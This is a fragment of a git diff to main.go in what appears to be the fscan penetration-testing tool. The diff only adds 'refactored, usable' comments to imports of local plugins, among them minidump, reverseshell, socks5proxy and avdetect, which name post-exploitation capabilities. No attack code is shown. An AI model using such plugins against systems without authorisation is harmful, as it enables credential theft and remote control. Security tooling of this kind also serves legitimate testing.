纯Go原生,无外部依赖\n") diff --git a/main.go b/main.go index b6722bb..3263f0f 100644 --- a/main.go +++ b/main.go @@ -8,12 +8,12 @@ import ( "github.com/shadow1ng/fscan/core" // 引入本地插件以触发注册 - _ "github.com/shadow1ng/fscan/plugins/local/fileinfo" - _ "github.com/shadow1ng/fscan/plugins/local/dcinfo" - _ "github.com/shadow1ng/fscan/plugins/local/minidump" - _ "github.com/shadow1ng/fscan/plugins/local/reverseshell" - _ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" - _ "github.com/shadow1ng/fscan/plugins/local/avdetect" + _ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用 + _ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用 + _ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用 + _ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用 + _ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用 + _ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用 ) func main() {